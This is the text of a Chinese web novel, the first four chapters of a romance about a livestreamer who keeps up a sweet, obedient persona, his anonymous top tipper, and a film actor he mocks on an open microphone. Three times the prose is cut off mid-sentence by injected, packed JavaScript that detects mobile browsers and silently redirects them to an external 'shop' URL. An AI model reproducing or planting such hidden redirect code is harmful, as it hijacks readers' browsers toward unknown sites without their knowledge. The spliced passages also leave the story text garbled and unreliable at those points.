《乖宝宝翻车后被Daddy疼爱了》 1. 直播 中午十二点,烈日当头,厚重的遮光窗帘把阳光隔绝在外。 闷热房间里睡得直皱眉的人,是被闹铃叫醒的。 宁桑长又直的睫毛垂着,他手在旁边摸索两下,把闹钟关上了。 安静地过了五分钟,他勉强启动成功,从床上坐了起来。 一头柔顺的浅金发被他睡得乱七八糟,还翘起了几根。 新的一天到来,宁桑没有任何感激与期待,他重重地锤了几下床垫,发泄了自己的不满后,才踩着拖鞋往卫生间去。 简单洗漱完,宁桑对着镜子,开始打理自己的头发。 他的直播时间本来在晚上,但这个月平台有特殊活动,直播满足一定时长,在下个月能获得额外的曝光。 对于一个闲聊主播来说,下午既没有钱,也没有钱,睡觉时间还会被砍掉。 说心里话,宁桑不想播。 他看向镜子里的自己,皮肤白,五官标准,一双眼睛生得尤其漂亮,就算不化妆,上镜也是好看的。 他性格不算有趣,只靠脸,现阶段吸引不来太多观众。 双倍曝光,如果能努力多赚点钱,是不是…… 宁桑不喜欢他现在的生活,只想快点结束,而结束的唯一方法,就是短期內赚到大量的钱。 他毕业后放弃正常工作来直播,也是因为这个。 头发很快被梳顺,宁桑熟练地从耳后挑出几缕金发,编了根麻花辫。 为了直播形象显眼,他把齐颈的头发染成了白金色,发尾还染了浅蓝色的渐变。 除此之外,直播时他会戴美瞳,用来吸引弹幕问他“眼睛是天生的吗”这种无聊问题,再把新观众留下来。 效果还不错。 脸收拾好了,宁桑一脸烦躁地去换衣服。 他刚把身上宽大的T恤脱一半,手机铃声就催命般响起。 会给宁桑打电话的人很少,他卡在脱衣服的动作五秒钟后,还是决定开免提接了。 “萌萌。”一道轻柔的男声传来。 “不要、那样、叫我。”宁桑把T恤扔到床上,拿起水蓝色的运动服往身上套。 炎热的八月份,在没开空调的室内穿长袖太热,宁桑想了想,还是去把空调打了开来。 今天播久点,把空调费赚回来好了。 “你直播间的大家都这么叫的呀,你不能区别对待我。”电话那边的岑唯说。 宁桑最开始的ID是一个柠檬的表情符号,后来为了方便搜索,他改成了“海盐柠檬”,搭配上他一头金发,柠檬形象深入人心,观众也就给他取了个“萌萌”的外号。 宁桑本人对这个外号十分抗拒,可他没有办法拒绝嫌弃。 他在直播间的人设,是乖巧听话的十八岁清纯懵懂小弟弟。 对着观众不能发火,对着岑唯,宁桑就不需要客气了:“你再这样叫我,我就把你的素颜照发到网上。” 岑唯叹了口气:“你说你长着张那么可爱的脸,说出来的话怎么一点都不可爱。” 宁桑今年二十一岁,在前二十一年的人生里,他最讨厌别人说他可爱。 把拉链拉好,宁桑拿过那条白色的小围裙,边往自己身上套,边对岑唯进行攻击:“闭嘴。” 显然岑唯并没有被他吓到,继续用他慢悠悠的语气说起了正事:“你今天下午要直播吗?” “嗯。”宁桑穿好衣服,扯了扯底下过于短的短裤。 这套衣服还是岑唯给他搭的,说很适合他。 在宁桑看来,这样穿实在有点不伦不类,虽然直播间摄像头不会拍到大腿,但宁桑照过镜子,这条又宽松又短的裤子,一做点动作,就能看到腿根。 “也是,这奖励还不错。”岑唯说,“不过这样一来,你每天睡觉时间连五个小时都没有了吧?” 除了下午和晚上的直播以外,宁桑下播后还需要跟打赏的老板聊几句天,以及剪视频发平台,算下来是没什么睡觉时间。 好在宁桑一向不爱惜自己的身体,睡眠不足就不足吧,有什么比钱更重要的呢? “你长得这么好看,走对路子明明不用太辛苦的。”岑唯小声嘀咕着。 这话他和宁桑认识时,就和他说过了。 当时还是黑发的宁桑坐在他对面,白皙的脸上没什么血色。 他半张脸被黑色的圆框眼镜遮住,眼镜底下的眼睛没什么焦点,岑唯说一句话,他要用半分钟才能反应过来。 对于岑唯给出的赚快钱的意见,宁桑思考了足足有五分钟,最后告诉他: “我是缺钱,但我有底线。” 结束回忆,岑唯想起长相看着不过十六七岁的宁桑,心又软了。 他倒没想真拖宁桑去做违法的勾当,只不过讨好大哥大姐,总比宁桑现在的直播风格来钱多。 据他所知,宁桑现在只有一个特别有钱的大哥,对方还不是每场直播都来。 “你还有事吗?没事我挂了。”宁桑拿着手机坐到电脑前,开始调设备。 “开播前记得先点上报名,我看你那边还没显示已报名。”岑唯确实是好心来提醒他的。 “知道了,谢谢。”宁桑冷冷地说,在挂断前,他顿了顿,补充了句,“还有,就算明天直播间只剩一个人,我也不会去擦/边的!” 另一边的岑唯看着结束的通话,怔了几秒,喃喃道:“我也没让你去擦啊……” - 在开播前,宁桑给自己煮了碗三倍辣的火鸡面,边吃边看后台消息。 连着回复过十几个给他打赏过的老板,宁桑把最后那个红点晾在一旁,抽了张纸巾擦眼泪。 他不太能吃辣,每次吃辣后,不仅嘴巴通红,脸颊也像烧起来了一样,眼底更是波光潋滟,不知道的人来看,铁定会以为他被欺负了。 在火鸡面的折磨与快乐下,宁桑心情好了些,他深吸一口气,点开来自0920的消息。 0920是他直播间迄今为止,最大方的一位老板。 个人资料那里显示的性别是男,直播后台能看到他所在的城市,这位打赏四位数起步的老板,似乎经常在各地出差。 宁桑看着那个默认头像,心里对他的人物画像,是至少四十岁往上的大叔。 想归想,在聊天框里,宁桑还是非常甜地管对方叫哥。 0920:早上又没起床吗? 海盐柠檬:睡过头啦,哥你醒这么早呀? 宁桑回过那条早上七点发来的消息,起身把碗洗了。 他这位老板可是大忙人,要求他早睡早起,一日三餐落实到位,还得报备,自己却永远不会秒回。 “真当自己是我爹啊。”宁桑仗着没有麦克风和摄像头,对着空气出声嘲讽道。 今天0920可能比较闲,宁桑回到电脑前时,他已经回了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496883|202558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息。 0920:中午吃了什么? 宁桑对这个问题早有准备,把提前存在手机里的健康家常菜发了过去,附带一个笑脸表情。 海盐柠檬:对啦,我今天下午要直播,哥你要来看吗~ 0920:嗯,下午播也好,晚上早点睡。 海盐柠檬:哥你误会啦,晚上也播,我很敬业的! 回复过后,宁桑打开摄像头,提着嘴角练习过微笑的弧度,点了开播。 下午这个时间点,果然没什么人,只零星进来了几个老观众。 宁桑一一和他们打过招呼。 【真不吃了】:萌萌今天这么早就开播? 这是个在上班的姐姐,估计是午休还没结束。 宁桑手肘撑在桌面,脑袋垫到手背上,甜甜地对着镜头笑:“我这个月直播时长会加倍哦,能有更多时间陪大家。” 【真不吃了】:你休息好最重要呀,萌萌辛苦了 【真不吃了】打赏了奶油蛋糕×3 一个奶油蛋糕一百块,平台扣除一半后,到宁桑手上是五十块。 “谢谢姐姐的蛋糕。”宁桑乖乖地感谢,他眨着眼睛,坐正,“姐姐破费啦。” 【0920】打赏了星光×3 屏幕出现了漆黑夜空里星星一闪一闪的特效,宁桑眼睛也跟着亮了亮:“谢谢哥!” 一个星光,可是值一千块呢! 宁桑的怨气已经一扫而光,他习惯性用食指拨了拨耳后那条麻花辫,腼腆地对着镜头笑。 宁桑会照镜子,知道自己笑起来怎样最好看,果然,他这一笑,留下了不少路人。 观众多了起来,宁桑开始了正业,挂上了直播间的提问箱。 观众可以花五块钱购买一次提问资格,当然,怎么让观众听完回答后,打赏更大额的礼物,就要看主播的本事了。 “不能问私人问题,可以和我商量最近的烦恼。”宁桑在说话时,没忘记看眼后台。 0920还在,他从来不用提问功能,也不怎么在直播间发言,只在某些时候打赏。 宁桑暂时还没摸清他打赏的规律。 提问箱很快攒了五个问题,宁桑打开第一个。 【我喜欢的演员官宣结婚了,调理不好怎么办?】 这是个新观众,宁桑看到这个问题时愣了愣,差点下意识拿出手机,看结婚的是哪个演员。 不会是徐骁吧? 宁桑看向弹幕,打算等有人发了演员的名字后,再温声提醒不要在直播间提其他人。 可惜下午的观众不多,大家恰好又都比较有素质,宁桑并没有等到答案。 他看着摄像头,嘴上说着安慰的话,思绪却在乱飘。 如果真的是徐骁结婚了…… 凭什么? 他凭什么过那么好? 宁桑想象着徐骁幸福步入婚姻殿堂的模样,险些没控制住呼吸频率。 手在桌底下掐住自己的大腿,他把那里的软肉掐出了红印,呼吸才稍微顺畅了些。 他的安慰水平可能确实不怎么样,观众听到一半就走了。 宁桑假装不知道,好好地给自己的安慰收了个尾,再去看下一个提问。 在点开前,他注意到提问箱里几秒前多出的新提问。 来自用户0920: 【你有喜欢的演员吗?】 2. 牛奶 喜欢的没有,讨厌的倒是有一个。 宁桑在心里飞快地回答了这个问题。 他按顺序看过了其他提问,到这一条时,给出的反应是意外的笑:“还是第一次看到哥你提问呢,不过这个算私人问题哦。” 【小熊软糖】:我也想知道这个!也不算很私人吧,萌萌真的不能说吗? “也不是不能回答啦。”宁桑舔舔嘴唇。 他这张脸上就没有不好看的地方,连唇珠都漂亮诱人,被舔过后覆上了一层水光,直播间的打光又放大了那点闪。 【0920】打赏了星光 宁桑装作不好意思的样子,他手放在桌子上,过长的袖口遮住了大半个手掌,只露出了指尖:“唔……喜欢的演员呀?” 上大学前,父母每个月都会找时间带宁桑去电影院,他是喜欢看电影的。 所以这个问题不难回答,宁桑说出的名字,是一个上了年纪,不太有名气的女艺人。 虽然算不上喜欢,但宁桑很欣赏她的演技,小时候还在家里对着母亲演过一段名场面,逗得父母直笑,那段录像,现在还留着呢。 【小熊软糖】:萌萌不是才十八岁吗?竟然知道她? “我厉害吧?”宁桑说这话的语气不得意,只像个讨要夸奖的乖小孩。 他收获到了小熊软糖的奶油蛋糕打赏。 这个问题很快翻篇,提问的人却一句话都没说。 仿佛他并不在意问题的回答似的。 - 同一时间,市中心高楼的某间办公室里: “哟,他还认识赵姨?”唐庆昊翘着二郎腿坐在办公椅上,他手里拿着不属于他的手机。 徐骁把手机拿了回来,他不过是和来给唐庆昊送文件的助理问了几句话,回过头时手机已经被偷走了。 唐庆昊还自作主张地提了问。 徐骁和唐庆昊算发小,两人幼儿园到高中都在一样的学校,只是一直没有同班过,关系不好不坏。 唐庆昊大学毕业,开了家娱乐公司,才和徐骁熟稔起来。 唐庆昊认为这都是徐骁的错。 谁让徐骁天生性格冷冰冰,在见识到徐骁演戏时的丰沛感情前,唐庆昊一直以为徐骁其实是个面瘫。 手机回到了徐骁手上,唐庆昊却没有停下打趣:“怎么?你的小主播没有答你的名字,失望了?” “不是我的。”徐骁五官锋利,眉目深邃,帅归帅,却不是好相处的长相,加上他个高肩宽,冷着脸说什么都像在不悦。 ……也不排除他现在心情确实不好。 作为损友,唐庆昊十分幸灾乐祸:“以前都没发现你还有看直播的爱好。” “是没有。”徐骁把蓝牙耳机戴在右耳。 直播还在继续,屏幕里的男生拿袖子捂住了下半张脸,大眼睛一眨一眨的。 徐骁往右上角看了眼,有个观众来直播间出柜,似乎吓到男生了。 像只受惊的小奶狗。 和直播间其他观众不同,徐骁在心里一直管“海盐柠檬”叫小柠檬。 直觉告诉他,小主播不喜欢“萌萌”这个昵称,每次听到都会稍稍抿起嘴。 徐骁对微表情的感知,比常人要更敏感些。 “喂!”那边的唐庆昊还在聒噪地说话,甚至盖住了耳机里那道清甜的少年音,“这平台我也投了钱的,你对这个漂亮弟弟就不好奇吗?” “别人给平台赚钱,你这个老板就是这样对待他们隐私的?” 徐骁说这话时也没抬头,他看着男生红扑扑的脸蛋,还有袖口探进去,那截细得过分的手腕。 他真的有在听话吃饭吗? - 吃快餐吃得很开心的宁桑,在傍晚下播休息时,收到了0920的私聊。 看清内容那一刻,他喝进嘴里的可乐差点喷出去。 0920问他每天有没有喝牛奶。 宁桑乖巧回复:我不是很喜欢喝牛奶呢。 “我又不是小孩。”宁桑瞪着手机,“呸”了一声。 除了长得可爱外,宁桑还有一个雷区,是身高。 大学前,他比同龄男生都要矮一些,总被人调侃是不是奶喝少了。 上大学长高了五厘米后,他还一度想把高中嘲讽过他的人都找出来,一个个怼回去。 0920没有感觉到宁桑的怨念,只说他该多补充营养,问要不要给他寄箱牛奶。 宁桑看着这条消息,脸色往下沉,他咬住了嘴唇,把嘴唇咬到充血发痛。 用类似的方法,来套宁桑的地址的人不少,很多目的一看就知道是什么,装得这么好的,0920倒是第一个。 “哈,”宁桑把手机丢到一边,“还以为真是什么正人君子呢,不都是一样的吗。” 把桌上的炸鸡吃完,丢过垃圾洗过手后,宁桑才重新拿起手机,发了个表情包过去。 海盐柠檬:不用破费给我送东西的! 和其他主播不同的是,宁桑不怎么主动开口讨要礼物,他直播间的观众,喜欢的不是那样的他。 他们想看的,是被迫无奈,直播讨生活的乖小孩。 那样更容易诱发观众那颗怜爱的心。 宁桑已经做好了他这么说完后,对面死缠烂打的准备。 说实话,宁桑不能失去这个榜一,见面不行,线上嘴甜点,多说些好话哄住他,宁桑还是能拉得下脸做的。 他没得选。 但0920只是让他自己去买牛奶喝,并且要在直播间喝给他看。 宁桑:…… 他努力看着这行字,甚至想截图发给岑唯,问是不是他心脏,才看出了不正常的暗示。 宁桑知道别的主播那里,榜一都会提些什么过分要求,0920只是让他喝个牛奶而已,他不该在这里矫情。 海盐柠檬:嗯嗯,我马上下单,今晚就喝!哥今晚还来看我吗? 喝一盒牛奶,至少得一个星光! 宁桑恶狠狠地想。 0920:我这段时间比较有空,会经常来。 宁桑外卖叫的牛奶,在十五分钟后到了,他拆出一盒,摆在桌上,同时打开了直播。 直播间晚上人多了点,宁桑依旧甜甜地念ID打招呼。 【被猫抓破裤衩的那一天】:萌萌下午怎么直播了?!错过的我哭晕在厕所 【养生派】:主播今天换美瞳了吗? “没有呀,”宁桑凑近了摄像头,让大家看清他的眼睛,“还是原来的,好看吗?” 他直播从来不开瘦脸,所以不用担心乱动导致掉美颜。 【养生派】:你眼睛真漂亮,今年几岁了? 【小熊软糖】:我们萌萌还是宝宝,不要骚扰他! “我十八啦,”宁桑坐回位置上,拆开了牛奶的吸管,“前几个月刚过的生日。” 他一副迟钝的模样,看向弹幕,懵懵道:“什么骚扰?小熊姐姐不用担心我。” 这话说完,直播间又弹出了几条打赏特效。 宁桑一一谢过,直播到现在,他还没有见到【0920】出场时的特殊动画。 说好的要来!食言的骗子! 宁桑把底下的牛奶当做0920,吸管狠狠地往下戳。 牛奶溢出来了一些,宁桑又手忙脚乱拿纸巾擦。 【被猫抓破裤衩的那一天】:萌萌今天喝牛奶呀?好可爱 【0920进入了直播间】 宁桑没有错过0920的特殊动画,他咬了咬嘴唇,慢慢拿着纸巾擦溅到手上的牛奶:“喝牛奶和可爱没有关系啦……哥,你来啦?” 宁桑一脸惊喜表情,0920给宁桑打的钱实在太多,他有些特殊对待,直播间其余人不会有意见。 而且0920太低调,就没几个固定观众见过他在直播间讲话。 要不是看宁桑的反应,他们还怀疑过这人是宁桑家长。 见正主到位,宁桑张嘴咬住吸管,开始假喝。 不喜欢喝牛奶,除了对身高话题的抗拒以外,还有一个原因,是宁桑受不了纯奶牛的腥味。 【0920打赏星光×2】 宁桑松开被他咬扁的吸管:“谢谢哥的礼物!” 他说话时眼睛亮亮的,发丝因为往前看屏幕的动作,垂下了几根在脸颊。 宁桑想他可真敬业,殊不知屏幕的另一边,有个男人正对着这张脸,念了声“小狗”。 提问箱攒了些问题,宁桑开始看,回答的时候他时不时咬咬吸管,却一口牛奶都没喝进嘴里,嘴唇倒是被抿红了。 直播要一直对着屏幕和打光灯的强光,宁桑戴的美瞳也不是特别好的牌子,以前只在晚上播还能忍受,现在已经连着播了六七个小时,他眼睛隐隐发酸,一眨就有生理性泪珠从眼角泛出。 【小熊软糖】:萌萌是不是困了? 宁桑双手拿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496884|202558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那盒满满当当的牛奶,摇了摇头:“和大家聊天,怎么会困呢。” 说完他笑了笑。 放在旁边的手机,突然显示后台有私信,宁桑瞥了眼,是0920发的。 0920:早点睡。 说得轻巧! 直播时长你补给我啊! 宁桑放在桌底下的脚,无声地踩了几下地板。 要是0920真能一口气给他打个几十万,宁桑或许真的可以去睡觉,不用在这直播了。 可这个看似大方的老板,像心里对打赏的金额有规划似的,一晚上给宁桑打的钱,从来不会超过两万。 宁桑直播满打满算都不到两个月,虽然他开播没多久,0920就来看了,但攒的钱还远远不够。 宁桑租的是间公寓,地方不大,室内只有一张大桌子。 所有要摆出来的东西,他都放在了面前这张桌子上。 电脑屏幕右下方摆了一个相框,宁桑在摄像头拍不到的地方,用指尖碰了碰相框里的两个中年人。 他没让这份情绪停留太久,很快就又笑起来,和直播间观众说话去了。 至于0920的私信,他自然是没回复的。 直播的时候顾不到后台消息,也正常。 没想到今天的0920还挺执着,见宁桑不回,直接在直播间发了条弹幕。 【0920】:什么时候休息? 他的ID前面挂了个特殊的王冠标示,非常显眼。 宁桑就算想忽略也忽略不了,何况他并不想装看不见。 “还早呢,”宁桑揉揉眼睛,把自己的泪花手动揉出来,“我想多播一会。” 他声音放得很软,揉完眼睛,宁桑放下手,拿着那盒怎么喝也喝不完的牛奶,做戏给0920看。 【小熊软糖】:萌萌是不是要参加那个活动啊,达到足够时长,下个月有首页曝光的那个 【被猫抓破裤衩的那一天】:时长要求十二个小时吧,条件太苛刻了 此时,同处A市,正在寸土寸金地段的大平层里的徐骁,看到这条弹幕,皱了下眉。 他点开和小主播的私信,发了条消息过去。 0920:你还在长身体,要早点睡。 怕小主播在直播看不到,他又去直播间刷了五个星光礼物。 那道甜甜的声音谢着他的礼物,徐骁注意到他往旁边看了眼。 “我等会下播就马上去睡觉。”屏幕里的男生乖巧地说。 徐骁动动手指,发了个“乖”在公屏上。 - 宁桑盯着那个“乖”字,忍住不露出见鬼的表情。 他清了清嗓子,双臂交叠放在桌面上,模仿着课堂上受到老师表扬的好学生。 直播要一直说话,还得戴着副假笑的面具,一场直播到后面,宁桑的嘴角都快笑僵了。 好在刚才和牛奶一起到的,还有冻在冰箱里的啤酒。 下播后开两罐来喝好了。 他还得剪视频,哪里能像答应的那样马上睡觉? 0920今天估计是真的有空,一直到了凌晨还在。 宁桑有些诧异,这人每天催他早睡早起,原来自己作息也不怎么样。 但对宁桑来说,总归是没坏处的,他今天收到的打赏,是以往一天的两倍,其中大头还是来自于0920。 下播后得第一时间去谢他,宁桑不情不愿地想。 眼看着时长还差十分钟就达标,宁桑心神放松了些,他为直播收着尾,和观众分别道晚安。 “0920哥哥也晚安。”宁桑舔舔嘴唇说,“辛苦你今天陪我到这么晚啦。” 大部分时候,宁桑不会管男观众叫“哥哥”,他觉得别扭又奇怪。 看在今天他打了不少钱的份上,宁桑想嘴甜点,也没什么损失。 时长达标后,后台会有弹窗提示,宁桑关掉弹窗的同时,对着摄像头挥了挥手,再点了下播按钮。 他有点近视,挑的美瞳也是带度数的,此刻眼睛酸胀得难受,连电脑都没来得及关,就跑去了卫生间。 把美瞳摘掉,再洗了把脸,宁桑路过冰箱拿了两罐啤酒,溜达回了宽大的椅子边。 将自己舒服地埋进椅子里,他拿起了桌上的手机。 点进后台私信前,顶部通知栏先弹出了视频软件推送。 【隐藏在平静家庭下秘密,徐骁主演家庭情景新剧抢先看!】 3. 翻车 盯着那个名字,宁桑嗤笑了一声:“新剧?” 徐骁今天二十九岁,在同龄演员中,属于事业发展得特别好那种。 他大学出道,才在几部小成本电影里跑了龙套,就碰上了贵人,一部爆火电影让他拿了奖,自此演艺事业一帆风顺。 徐骁的父母是本市大集团的创始人,他刚火时,不少人都说他是托了家世好的福,后面徐骁的实力堵住了这部分人的嘴。 堵住的悠悠众口里不包括宁桑。 宁桑左看右看,都不觉得徐骁演技有哪里好的,长得也就那样子,什么本世纪最帅演员,也不知道是不是团队给他买的热搜做的人设。 他并不想承认他高中时,在房间里挂过徐骁的海报。 谁会喜欢这个人? 宁桑在心里腹诽一通,手指老实地点开了那条推送。 跳转后自动播放的是预告片,宁桑右手够过桌上的易拉罐,单手打开了。 “也不知道他这把年纪怎么接到的剧,那方面都快不行了吧还演戏。”他嘲讽地点评道。 同一时间,徐骁看着平板,上面显示着黑屏但没关播的直播间。 弹幕的流速很快,都在刷问号。 平板里传出来的声音很熟悉,语调却是陌生的,徐骁垂着眼,平静地继续听着。 【小熊软糖】:???萌萌你忘记下播了!! 【养生派】:刚才那是开啤酒的声音吧 【三加一等于五】:?主播果然都是人设,一下播嘴就这么脏,啧啧啧 【真不吃了】:???哪方面?老师我家孩子在哪学的这种话?? 【路人】:今天开播的新剧,好像只有……徐骁演的那部吧? 很快,忘记关麦的小主播,又说了第二句话:“竟然敢说自己有一米九,我看他顶多就一米七,天天踩高跷也不怕崴脚。” 一米九的演员是少数,他这么一说,范围就更小了。 很快,自己的名字连带着薯片袋的声音一同响起:“徐骁?不就是因为姓徐才这么好命吗?” 徐骁没有生气,也没有马上关掉平板,嘴角倒是勾起了点弧度。 这些他早就能心平气和无视的攻击,没有引起他半点情绪,倒是小主播有些意思。 啤酒薯片? 看来刚才的牛奶不是他看错,而是确实在假喝了。 “呜……”一声嘤咛从脚边传来,徐骁低下头,和那只卷毛小狗对视。 这是唐庆昊听说他要休假,给他送来的狗。 三个月大的骑士比熊,查理王小猎犬和比熊犬的串串,毛蓬松卷曲,除了浅黄色的眼周和垂耳朵外,身体其余部分都是白的。 像只小玩具。 “不是睡觉了?” 徐骁认为自己不太喜欢小动物,宠物拥有太多不确定性,且幼犬,会更加的不听指挥。 但唐庆昊说他养不了,徐骁就算不想养,也可以先帮他养几个月,之后他再接走。 徐骁留下这条狗,并被他咬破袖口的那天,恰巧在直播平台刷到了“海盐柠檬”。 刚开始直播没多久的小柠檬面对镜头不是很自然,但一双眼睛很亮,徐骁当时看着,想的是他不戴美瞳,估计更好看些。 直播平台是当初买平板时一块下载的,藏在文件夹里,徐骁一直没卸载。 那天平板掉到地毯上,狗踩过去,用肉垫点开了软件,顺爪再踩开了新人推荐页。 小柠檬那头金发实在显眼,他凑得离屏幕很近,好像在展示自己的美瞳。 徐骁回过神时,已经点了进去。 看起来年纪不大的男生腼腆地和他打了招呼:“这位……游客哥哥姐姐,你好呀。” 徐骁看了看正在咬地毯的狗,又看了看那圆眼睛的男生,奇怪地想: 家里的小狗不听话,那养只电子小宠物,会听话吗? 徐骁不是什么好人。 他对大多数事情都没兴趣,生活得没多少趣味,所以某些念头只要在脑内出现,他就会去做。 当年去演戏也是这样。 小主播还没意思到自己没关麦,依旧在叽叽咕咕地说他坏话,顺便啃薯片。 徐骁听着他咬薯片的声音,眉头皱了下。 “呜呜。”狗没等到主人的关心,不耐烦地踩了人几脚。 徐骁一手捞起狗,一手拿手机,给唐庆昊发了条消息。 - 第一次播这么久,宁桑又没忍住点开徐骁新剧看了一集,看完后他困得眼睛都睁不开,把电脑一关,就躺床上睡着了。 明天早点起来,再维护私信,应该也能被原谅。 说不定那个老古董还会看他早起,给他多打赏几个礼物呢。 迷迷糊糊地想着,宁桑眼睛一闭睡了过去。 吵醒他的不是熟悉的闹钟,而是来电铃声。 换了手机号后,会给他打电话的人很少,一般也就是岑唯。 可宁桑眯着沉重的眼皮,想他大概还没睡多久,而会这么早给他打电话的…… 宁桑揉着额角坐了起来,眼睛对焦了好半天,才看清了来电人的备注。 他按了接通:“叔。” “小宁啊,”那边的中年男人估计是常年抽烟,声音很沙哑,“叔在医院呢,刚和医生聊过。” 宁桑的困意已经消失了,他走到窗户前,拉开了窗帘。 早上八点的阳光明媚,宁桑看着那只飞过自己窗前的鸟,有种恍若隔世的错觉。 搬到这里后,他就几乎没拉开过窗帘。 “情况……还好吗?”宁桑喉咙发紧,吞咽了几次后,才把这句话流畅问出口。 “老样子,没什么变化。”男人叹了口气。 宁桑额角开始痛,他匆忙地打断了男人的话:“叔,我等下就把钱转您,我还有事,就先挂了。” 电话挂断后,宁桑没去看那些乱七八糟的推送消息,直接把前天从直播后台里提的钱,一口气都转到了那个账户里。 钱转过去后,宁桑靠着窗户下边的墙蹲下,抱住了膝盖。 手机掉到地上,他神经质地咬起了指甲。 咬指甲不是什么好习惯,宁桑把指甲修得又短又整齐,就是为了改掉这个习惯。 他还要直播,出镜的地方,不能不好看。 所以宁桑这一咬,只能咬到自己的指腹。 他的皮肤很容易留印子,咬出来的深牙印,可能等到下午,还没法完全消。 手机在旁嗡嗡震动了好几下,宁桑慢吞吞地把手机够过来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496885|202558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 顶在最上面的消息,是岑唯发来的。 【醒了给我打电话!!!!】 这还是宁桑第一次见岑唯发感叹号,他愣了愣,心里忽然生出不好的预感。 右手拇指不知道是不是被咬得发麻了,不住轻颤着。 宁桑心一横,解锁了屏幕,先打开了和岑唯的聊天界面。 可这个过程里,直播平台的私信弹窗不停刷新着,入目的内容都不太好看。 宁桑没亲历过这种阵仗,可他知道,他大概率是被人挂了。 且传播范围还挺广。 我最近直播有说错话吗? 宁桑回想了片刻,没想出来。 他直播时向来敬业,弹幕都几乎没吵过架。 那会是因为什么? 难道有人去扒他了? 宁桑顿时一阵心慌,他不再犹豫,把岑唯的聊天记录往上翻。 【哪来的糊咖主播,竟然也点评上影帝了?】 大脑宕机了几分钟,宁桑点开那条链接。 他不知道这个结果是比预想的要好,还是坏。 他昨天没关麦?? 宁桑清早本来就没血色的脸,顿时又白了一个度。 他自幼家庭和睦,长得又好看,从小到大算得上顺风顺水的人生,把宁桑的性子养得任性又脆弱。 他很难接受辱骂和恶意。 宁桑想着刚才转过去的那笔钱,又想到自己的余额,他垂着睫毛,点开了链接。 发链接的博主头像是新剧造型的徐骁,ID一看也和徐骁有关,是徐骁的粉丝。 除了文字,这条有大几千转发的微博,还配了一段黑屏的视频。 尽管早有预感,点开听到自己的声音时,宁桑第一反应还是把手机丢出去。 播放到一半的视频被铃声打断,岑唯给他打电话了。 宁桑以前很讨厌接岑唯的电话,现在看着那个名字,却像看到了救命稻草,他赶紧接了起来。 “小宁。”岑唯语气认真了些,“你看我发的消息了吗?还好吗?” “……不怎么好。”宁桑一开口就没好气,但他也知道这火不该朝岑唯发,又敛了脾气,“我看到了,谢谢你。” “我去找你,等下给我开个门。”岑唯说。 岑唯就住在他家楼上,三分钟后门铃准时响起,宁桑浑浑噩噩地过去开了门。 岑唯是个美妆主播,他长相偏中性,留了一头长发。 宁桑看着他有些毛躁的头发,不知道他是没睡还是刚醒。 岑唯挤进房间,反手把门关上了:“你手机给我。” “做什么?”宁桑现在大脑还是空白的,他不知道该怎么这种情况。 他……还能直播吗? 宁桑一阵心慌,他每天都会去算一遍还差多少钱,所以他知道,剩下的那个数目,要在短期內拿到,靠正常上班是很难的。 岑唯说他长得好看,可直播要有起色,要碰到大方的老板,不是那么简单的事。 宁桑手里还攥着手机,房间里明明很闷热,他却浑身发冷。 手机又响了一声,宁桑似有所感,按亮了屏幕。 一条简短的消息,安静地躺在最上方。 0920:醒了吗? 4. 真香 岑唯见宁桑魂不守舍的,没再犹豫,把他的手机抢过去,又揽着宁桑肩膀安慰他:“没事的,过几天就好了。” 岑唯带着宁桑到床边坐下,起身边给他收拾房间,边说了自己以前被网暴的经验:“网友们很健忘,你就当休息几天,之后我帮你找个管理,注意下直播间弹幕就好。” 宁桑第一次和岑唯见面,就听他说过那件事。 岑唯以前和一个游戏主播谈恋爱,后来发现对方其实有对象,也是个小网红,断干净前,那对象出来发帖,他被骂了半个月的小三。 徐骁的粉丝,可比那小网红的多多了。 而且…… 视频里自己的嘴脸,和平常直播时的他差太多了,就算直播间能保住,原先的观众肯定也不会再来看他。 宁桑忽然想到0920发来的那条私信,他心脏重重地跳了两下。 他是来找我退钱的吗? “手机,还我。”宁桑朝岑唯伸出手。 岑唯刚把宁桑的被子叠好,他低头,看着那截细得过分,还在发抖的手腕。 现在的宁桑,比岑唯在路边捡到他时还瘦,一看就没有好好照顾自己。 “你别看了。”岑唯还是用那种轻柔的语气说话,好像不会有脾气。 宁桑却忽然像被火点着了,他猛地抬起头,眼眶通红,死死咬着嘴唇。 岑唯一阵心软:“都是不好听的话,没什么好看的。” 宁桑直接动手,把手机拿了回来。 岑唯没想到他会抢,手里空了后表情有一瞬的空白。 宁桑已经打开了后台那条私信,凭他对0920的了解,这人大概率不是要他退钱,就是要骂他。 那视频里,宁桑可不只说了徐骁的坏话,他还开了罐啤酒喝。 0920这种会让他喝牛奶的人,发现他背地里喝酒,指不定会气成什么样。 他比宁桑直播间大部分观众都要变态,变态地希望宁桑是个听话的乖宝宝。 